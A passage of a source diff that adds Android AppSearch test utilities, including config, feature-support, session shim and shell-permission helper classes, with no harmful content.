+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_OPTIMIZE_REBUILD_INDEX_THRESHOLD;
+ }
+
+ @Override
+ public int getCompressionLevel() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_COMPRESSION_LEVEL;
+ }
+
+ @Override
+ public boolean getAllowCircularSchemaDefinitions() {
+ throwIfClosed();
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE;
+ }
+
+ @Override
+ public boolean getUseReadOnlySearch() {
+ throwIfClosed();
+ return DEFAULT_ICING_CONFIG_USE_READ_ONLY_SEARCH;
+ }
+
+ @Override
+ public boolean getUsePreMappingWithFileBackedVector() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_USE_PREMAPPING_WITH_FILE_BACKED_VECTOR;
+ }
+
+ @Override
+ public boolean getUsePersistentHashMap() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_USE_PERSISTENT_HASH_MAP;
+ }
+
+ @Override
+ public int getMaxPageBytesLimit() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_MAX_PAGE_BYTES_LIMIT;
+ }
+
+ @Override
+ public boolean getCachedRateLimitEnabled() {
+ throwIfClosed();
+ return DEFAULT_RATE_LIMIT_ENABLED;
+ }
+
+ @Override
+ public AppSearchRateLimitConfig getCachedRateLimitConfig() {
+ throwIfClosed();
+ return DEFAULT_APPSEARCH_RATE_LIMIT_CONFIG;
+ }
+
+ @Override
+ public int getIntegerIndexBucketSplitThreshold() {
+ throwIfClosed();
+ return DEFAULT_INTEGER_INDEX_BUCKET_SPLIT_THRESHOLD;
+ }
+
+ @Override
+ public boolean getLiteIndexSortAtIndexing() {
+ throwIfClosed();
+ return DEFAULT_LITE_INDEX_SORT_AT_INDEXING;
+ }
+
+ @Override
+ public int getLiteIndexSortSize() {
+ throwIfClosed();
+ return DEFAULT_LITE_INDEX_SORT_SIZE;
+ }
+
+ @Override
+ public boolean shouldStoreParentInfoAsSyntheticProperty() {
+ throwIfClosed();
+ return true;
+ }
+
+ @Override
+ public boolean shouldRetrieveParentInfo() {
+ throwIfClosed();
+ return DEFAULT_SHOULD_RETRIEVE_PARENT_INFO;
+ }
+
+ private void throwIfClosed() {
+ if (mIsClosed.get()) {
+ throw new IllegalStateException(
+ "Trying to use a closed FrameworkAppSearchConfig instance.");
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java
new file mode 100644
index 00000000000..1d8e37ecdb4
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/GlobalSearchSessionShimImpl.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.Features;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.GlobalSearchSession;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.ReportSystemUsageRequest;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.app.appsearch.observer.ObserverCallback;
+import android.app.appsearch.observer.ObserverSpec;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.Objects;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via a
+ * consistent interface.
+ *
+ * @hide
+ */
+public class GlobalSearchSessionShimImpl implements GlobalSearchSessionShim {
+ private final GlobalSearchSession mGlobalSearchSession;
+ private final ExecutorService mExecutor;
+
+ /**
+ * Creates a global search session.
+ */
+ @NonNull
+ public static ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSessionAsync() {
+ return createGlobalSearchSessionAsync(ApplicationProvider.getApplicationContext());
+ }
+
+ /** Only for use when called from a non-instrumented context. */
+ @NonNull
+ public static ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSessionAsync(
+ @NonNull Context context) {
+ AppSearchManager appSearchManager = context.getSystemService(AppSearchManager.class);
+ SettableFuture<AppSearchResult<GlobalSearchSession>> future = SettableFuture.create();
+ ExecutorService executor = Executors.newCachedThreadPool();
+ appSearchManager.createGlobalSearchSession(executor, future::set);
+ return Futures.transform(
+ future,
+ instance -> new GlobalSearchSessionShimImpl(instance.getResultValue(), executor),
+ executor);
+ }
+
+ private GlobalSearchSessionShimImpl(
+ @NonNull GlobalSearchSession session, @NonNull ExecutorService executor) {
+ mGlobalSearchSession = Objects.requireNonNull(session);
+ mExecutor = Objects.requireNonNull(executor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull String packageName,
+ @NonNull String databaseName,
+ @NonNull GetByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, GenericDocument>> future =
+ SettableFuture.create();
+ mGlobalSearchSession.getByDocumentId(
+ packageName, databaseName, request, mExecutor,
+ new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @NonNull
+ @Override
+ public SearchResultsShim search(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SearchResults searchResults = mGlobalSearchSession.search(queryExpression, searchSpec);
+ return new SearchResultsShimImpl(searchResults, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<Void> reportSystemUsageAsync(
+ @NonNull ReportSystemUsageRequest request) {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ mGlobalSearchSession.reportSystemUsage(request, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<GetSchemaResponse> getSchemaAsync(
+ @NonNull String packageName, @NonNull String databaseName) {
+ SettableFuture<AppSearchResult<GetSchemaResponse>> future = SettableFuture.create();
+ mGlobalSearchSession.getSchema(packageName, databaseName, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ public void registerObserverCallback(
+ @NonNull String targetPackageName,
+ @NonNull ObserverSpec spec,
+ @NonNull Executor executor,
+ @NonNull ObserverCallback observer) throws AppSearchException {
+ mGlobalSearchSession.registerObserverCallback(targetPackageName, spec, mExecutor, observer);
+ }
+
+ @Override
+ public void unregisterObserverCallback(
+ @NonNull String targetPackageName, @NonNull ObserverCallback observer)
+ throws AppSearchException {
+ mGlobalSearchSession.unregisterObserverCallback(targetPackageName, observer);
+ }
+
+ @NonNull
+ @Override
+ public Features getFeatures() {
+ return new MainlineFeaturesImpl();
+ }
+
+ @Override
+ public void close() {
+ mGlobalSearchSession.close();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
+
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java
new file mode 100644
index 00000000000..a810d22df6c
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/MainlineFeaturesImpl.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.Features;
+import android.content.Context;
+import android.os.Build;
+
+/**
+ * An implementation of {@link Features}. It returns true for most of the features, as all features
+ * should be ready in the AppSearch platform backend. However, some features are disabled manually
+ * because we have chosen to only land them after a specific Android version.
+ * @hide
+ */
+public class MainlineFeaturesImpl implements Features {
+
+ @Override
+ public boolean isFeatureSupported(@NonNull String feature) {
+ switch (feature) {
+ // Features supported on all devices to which we ship.
+ case Features.ADD_PERMISSIONS_AND_GET_VISIBILITY:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_SCHEMA:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_BY_ID:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK:
+ // fall through
+ case Features.SEARCH_RESULT_MATCH_INFO_SUBMATCH:
+ // fall through
+ case Features.JOIN_SPEC_AND_QUALIFIED_ID:
+ // fall through
+ case Features.LIST_FILTER_QUERY_LANGUAGE:
+ // fall through
+ case Features.NUMERIC_SEARCH:
+ // fall through
+ case Features.SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION:
+ // fall through
+ case Features.SEARCH_SPEC_PROPERTY_WEIGHTS:
+ // fall through
+ case Features.SEARCH_SUGGESTION:
+ // fall through
+ case Features.TOKENIZER_TYPE_RFC822:
+ // fall through
+ case Features.VERBATIM_SEARCH:
+ // fall through
+ case Features.SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA:
+ // fall through
+ case Features.SCHEMA_SET_DELETION_PROPAGATION:
+ // fall through
+ case Features.SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES:
+ // fall through
+ case Features.SEARCH_SPEC_ADD_FILTER_PROPERTIES:
+ return true;
+
+ // Features which are supported on U+ devices only.
+ case Features.SET_SCHEMA_CIRCULAR_REFERENCES:
+ // fall through
+ case Features.SCHEMA_ADD_PARENT_TYPE:
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE;
+
+ default:
+ return false;
+ }
+ }
+
+ @Override
+ public int getMaxIndexedProperties(@NonNull Context context) {
+ return 64;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java
new file mode 100644
index 00000000000..3d9069a1edb
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SearchResultsShimImpl.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.exceptions.AppSearchException;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.Executor;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via
+ * a consistent interface.
+ * @hide
+ */
+public class SearchResultsShimImpl implements SearchResultsShim {
+ private final Executor mExecutor;
+ private final SearchResults mSearchResults;
+
+ SearchResultsShimImpl(@NonNull SearchResults searchResults, @NonNull Executor executor) {
+ mExecutor = Objects.requireNonNull(executor);
+ mSearchResults = Objects.requireNonNull(searchResults);
+ }
+
+ /**
+ * Retrieves the next page of {@link SearchResult} objects.
+ */
+ @NonNull
+ public ListenableFuture<List<SearchResult>> getNextPageAsync() {
+ SettableFuture<AppSearchResult<List<SearchResult>>> future = SettableFuture.create();
+ mSearchResults.getNextPage(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ public void close() {
+ mSearchResults.close();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java
new file mode 100644
index 00000000000..f9a077a40a8
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/SystemUtil.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+/**
+ * Class to hold utilities to run {@link Runnable} with shell permission identity.
+ *
+ * <p>This is basically same as {@link com.android.compatibility.common.util.SystemUtil}, but we
+ * have the same functionality here, so it can be used by AppSearch in g3 as well.
+ */
+public final class SystemUtil {
+ private SystemUtil() {}
+
+ /** Runs a {@link ThrowingRunnable} adopting a subset of Shell's permissions. */
+ public static void runWithShellPermissionIdentity(
+ @NonNull ThrowingRunnable runnable, String... permissions) {
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ runWithShellPermissionIdentity(automan, runnable, permissions);
+ }
+
+ /**
+ * Runs a {@link ThrowingRunnable} adopting Shell's permissions, where you can specify the
+ * uiAutomation used.
+ *
+ * @param automan UIAutomation to use.
+ * @param runnable The code to run with Shell's identity.
+ * @param permissions A subset of Shell's permissions.
+ * Passing {@code null} will use all available permissions.
+ */
+ public static void runWithShellPermissionIdentity(
+ @NonNull UiAutomation automan,
+ @NonNull ThrowingRunnable runnable,
+ String... permissions) {
+ automan.adoptShellPermissionIdentity(permissions);
+ try {
+ runnable.run();
+ } catch (Exception e) {
+ throw new RuntimeException("Caught exception", e);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java
new file mode 100644
index 00000000000..03645384883
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/ThrowingRunnable.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+/** Similar to {@link Runnable} but has {@code throws Exception}. */
+public interface ThrowingRunnable {
+ /** Similar to {@link Runnable#run} but has {@code throws Exception}. */
+ void run() throws Exception;
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java
new file mode 100644
index 00000000000..3bf34aa9ae6
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AlwaysSupportedFeatures.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+import android.annotation.NonNull;
+import android.app.appsearch.Features;
+import android.content.Context;
+
+/**
+ * An implementation of {@link Features}. This implementation always returns true. This is
+ * sufficient for the use in the local backend because all features are always available on the
+ * local backend.
+ *
+ * @hide
+ */
+public class AlwaysSupportedFeatures implements Features {
+
+ @Override
+ public boolean isFeatureSupported(@NonNull String feature) {
+ switch (feature) {
+ case Features.ADD_PERMISSIONS_AND_GET_VISIBILITY:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_SCHEMA:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_GET_BY_ID:
+ // fall through
+ case Features.GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK:
+ // fall through
+ case Features.JOIN_SPEC_AND_QUALIFIED_ID:
+ // fall through
+ case Features.NUMERIC_SEARCH:
+ // fall through
+ case Features.VERBATIM_SEARCH:
+ // fall through
+ case Features.LIST_FILTER_QUERY_LANGUAGE:
+ // fall through
+ case Features.SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA:
+ // fall through
+ case Features.SEARCH_RESULT_MATCH_INFO_SUBMATCH:
+ // fall through
+ case Features.SEARCH_SPEC_PROPERTY_WEIGHTS:
+ // fall through
+ case Features.TOKENIZER_TYPE_RFC822:
+ // fall through
+ case Features.SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION:
+ // fall through
+ case Features.SEARCH_SUGGESTION:
+ // fall through
+ case Features.SCHEMA_SET_DELETION_PROPAGATION:
+ // fall through
+ case Features.SET_SCHEMA_CIRCULAR_REFERENCES:
+ // fall through
+ case Features.SCHEMA_ADD_PARENT_TYPE:
+ // fall through
+ case Features.SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES:
+ // fall through
+ case Features.SEARCH_SPEC_ADD_FILTER_PROPERTIES:
+ return true;
+ default:
+ return false;
+ }
+ }
+
+ @Override
+ public int getMaxIndexedProperties(@NonNull Context unused) {
+ return 64;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java
new file mode 100644
index 00000000000..a0d316e895e
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchConfigImpl.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+import android.annotation.NonNull;
+
+/**
+ * An implementation of AppSearchConfig that returns configurations based what is specified in
+ * constructor.
+ */
+public class AppSearchConfigImpl implements AppSearchConfig {
+ private final LimitConfig mLimitConfig;
+ private final IcingOptionsConfig mIcingOptionsConfig;
+ private final boolean mStoreParentInfoAsSyntheticProperty;
+ private final boolean mShouldRetrieveParentInfo;
+
+ public AppSearchConfigImpl(
+ @NonNull LimitConfig limitConfig, @NonNull IcingOptionsConfig icingOptionsConfig) {
+ this(
+ limitConfig,
+ icingOptionsConfig,
+ /* storeParentInfoAsSyntheticProperty= */ false,
+ /* shouldRetrieveParentInfo= */ false);
+ }
+
+ public AppSearchConfigImpl(
+ @NonNull LimitConfig limitConfig,
+ @NonNull IcingOptionsConfig icingOptionsConfig,
+ boolean storeParentInfoAsSyntheticProperty,
+ boolean shouldRetrieveParentInfo) {
+ mLimitConfig = limitConfig;
+ mIcingOptionsConfig = icingOptionsConfig;
+ mStoreParentInfoAsSyntheticProperty = storeParentInfoAsSyntheticProperty;
+ mShouldRetrieveParentInfo = shouldRetrieveParentInfo;
+ }
+
+ @Override
+ public int getMaxTokenLength() {
+ return mIcingOptionsConfig.getMaxTokenLength();
+ }
+
+ @Override
+ public int getIndexMergeSize() {
+ return mIcingOptionsConfig.getIndexMergeSize();
+ }
+
+ @Override
+ public boolean getDocumentStoreNamespaceIdFingerprint() {
+ return mIcingOptionsConfig.getDocumentStoreNamespaceIdFingerprint();
+ }
+
+ @Override
+ public float getOptimizeRebuildIndexThreshold() {
+ return mIcingOptionsConfig.getOptimizeRebuildIndexThreshold();
+ }
+
+ @Override
+ public int getCompressionLevel() {
+ return mIcingOptionsConfig.getCompressionLevel();
+ }
+
+ @Override
+ public boolean getAllowCircularSchemaDefinitions() {
+ return mIcingOptionsConfig.getAllowCircularSchemaDefinitions();
+ }
+
+ @Override
+ public boolean getUseReadOnlySearch() {
+ return mIcingOptionsConfig.getUseReadOnlySearch();
+ }
+
+ @Override
+ public boolean getUsePreMappingWithFileBackedVector() {
+ return mIcingOptionsConfig.getUsePreMappingWithFileBackedVector();
+ }
+
+ @Override
+ public boolean getUsePersistentHashMap() {
+ return mIcingOptionsConfig.getUsePersistentHashMap();
+ }
+
+ @Override
+ public int getMaxPageBytesLimit() {
+ return mIcingOptionsConfig.getMaxPageBytesLimit();
+ }
+
+ @Override
+ public int getIntegerIndexBucketSplitThreshold() {
+ return mIcingOptionsConfig.getIntegerIndexBucketSplitThreshold();
+ }
+
+ @Override
+ public boolean getLiteIndexSortAtIndexing() {
+ return mIcingOptionsConfig.getLiteIndexSortAtIndexing();
+ }
+
+ @Override
+ public int getLiteIndexSortSize() {
+ return mIcingOptionsConfig.getLiteIndexSortSize();
+ }
+
+ @Override
+ public int getMaxDocumentSizeBytes() {
+ return mLimitConfig.getMaxDocumentSizeBytes();
+ }
+
+ @Override
+ public int getMaxDocumentCount() {
+ return mLimitConfig.getMaxDocumentCount();
+ }
+
+ @Override
+ public int getMaxSuggestionCount() {
+ return mLimitConfig.getMaxSuggestionCount();
+ }
+
+ @Override
+ public boolean shouldStoreParentInfoAsSyntheticProperty() {
+ return mStoreParentInfoAsSyntheticProperty;
+ }
+
+ @Override
+ public boolean shouldRetrieveParentInfo() {
+ return mShouldRetrieveParentInfo;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java
new file mode 100644
index 00000000000..f65f54a578d
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/AppSearchSessionShim.java
@@ -0,0 +1,395 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.annotation.SuppressLint;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.io.Closeable;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Provides a connection to a single AppSearch database.
+ *
+ * <p>An {@link AppSearchSessionShim} instance provides access to database operations such as
+ * setting a schema, adding documents, and searching.
+ *
+ * <p>Instances of this interface are usually obtained from a storage implementation, e.g. {@code
+ * AppSearchManager.createSearchSessionAsync()} or {@code
+ * PlatformStorage.createSearchSessionAsync()}.
+ *
+ * <p>All implementations of this interface must be thread safe.
+ *
+ * @see GlobalSearchSessionShim
+ */
+public interface AppSearchSessionShim extends Closeable {
+
+ /**
+ * Sets the schema that represents the organizational structure of data within the AppSearch
+ * database.
+ *
+ * <p>Upon creating an {@link AppSearchSessionShim}, {@link #setSchema} should be called. If the
+ * schema needs to be updated, or it has not been previously set, then the provided schema will
+ * be saved and persisted to disk. Otherwise, {@link #setSchema} is handled efficiently as a
+ * no-op call.
+ *
+ * @param request the schema to set or update the AppSearch database to.
+ * @return a {@link ListenableFuture} which resolves to a {@link SetSchemaResponse} object.
+ */
+ @NonNull
+ ListenableFuture<SetSchemaResponse> setSchemaAsync(@NonNull SetSchemaRequest request);
+
+ /**
+ * Retrieves the schema most recently successfully provided to {@link #setSchema}.
+ *
+ * @return The pending {@link GetSchemaResponse} of performing this operation.
+ */
+ // This call hits disk; async API prevents us from treating these calls as properties.
+ @SuppressLint("KotlinPropertyAccess")
+ @NonNull
+ ListenableFuture<GetSchemaResponse> getSchemaAsync();
+
+ /**
+ * Retrieves the set of all namespaces in the current database with at least one document.
+ *
+ * @return The pending result of performing this operation.
+ */
+ @NonNull
+ ListenableFuture<Set<String>> getNamespacesAsync();
+
+ /**
+ * Indexes documents into the {@link AppSearchSessionShim} database.
+ *
+ * <p>Each {@link GenericDocument} object must have a {@code schemaType} field set to an {@link
+ * AppSearchSchema} type that has been previously registered by calling the {@link #setSchema}
+ * method.
+ *
+ * @param request containing documents to be indexed.
+ * @return a {@link ListenableFuture} which resolves to an {@link AppSearchBatchResult}. The
+ * keys of the returned {@link AppSearchBatchResult} are the IDs of the input documents. The
+ * values are either {@code null} if the corresponding document was successfully indexed, or
+ * a failed {@link AppSearchResult} otherwise.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, Void>> putAsync(
+ @NonNull PutDocumentsRequest request);
+
+ /**
+ * Gets {@link GenericDocument} objects by document IDs in a namespace from the {@link
+ * AppSearchSessionShim} database.
+ *
+ * @param request a request containing a namespace and IDs to get documents for.
+ * @return A {@link ListenableFuture} which resolves to an {@link AppSearchBatchResult}. The
+ * keys of the {@link AppSearchBatchResult} represent the input document IDs from the {@link
+ * GetByDocumentIdRequest} object. The values are either the corresponding {@link
+ * GenericDocument} object for the ID on success, or an {@link AppSearchResult} object on
+ * failure. For example, if an ID is not found, the value for that ID will be set to an
+ * {@link AppSearchResult} object with result code: {@link
+ * AppSearchResult#RESULT_NOT_FOUND}.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull GetByDocumentIdRequest request);
+
+ /**
+ * Retrieves documents from the open {@link AppSearchSessionShim} that match a given query
+ * string and type of search provided.
+ *
+ * <p>Query strings can be empty, contain one term with no operators, or contain multiple terms
+ * and operators.
+ *
+ * <p>For query strings that are empty, all documents that match the {@link SearchSpec} will be
+ * returned.
+ *
+ * <p>For query strings with a single term and no operators, documents that match the provided
+ * query string and {@link SearchSpec} will be returned.
+ *
+ * <p>The following operators are supported:
+ *
+ * <ul>
+ * <li>AND (implicit)
+ * <p>AND is an operator that matches documents that contain <i>all</i> provided terms.
+ * <p><b>NOTE:</b> A space between terms is treated as an "AND" operator. Explicitly
+ * including "AND" in a query string will treat "AND" as a term, returning documents that
+ * also contain "AND".
+ * <p>Example: "apple AND banana" matches documents that contain the terms "apple", "and",
+ * "banana".
+ * <p>Example: "apple banana" matches documents that contain both "apple" and "banana".
+ * <p>Example: "apple banana cherry" matches documents that contain "apple", "banana", and
+ * "cherry".
+ * <li>OR
+ * <p>OR is an operator that matches documents that contain <i>any</i> provided term.
+ * <p>Example: "apple OR banana" matches documents that contain either "apple" or
+ * "banana".
+ * <p>Example: "apple OR banana OR cherry" matches documents that contain any of "apple",
+ * "banana", or "cherry".
+ * <li>Exclusion (-)
+ * <p>Exclusion (-) is an operator that matches documents that <i>do not</i> contain the
+ * provided term.
+ * <p>Example: "-apple" matches documents that do not contain "apple".
+ * <li>Grouped Terms
+ * <p>For queries that require multiple operators and terms, terms can be grouped into
+ * subqueries. Subqueries are contained within an open "(" and close ")" parenthesis.
+ * <p>Example: "(donut OR bagel) (coffee OR tea)" matches documents that contain either
+ * "donut" or "bagel" and either "coffee" or "tea".
+ * <li>Property Restricts
+ * <p>For queries that require a term to match a specific {@link AppSearchSchema} property
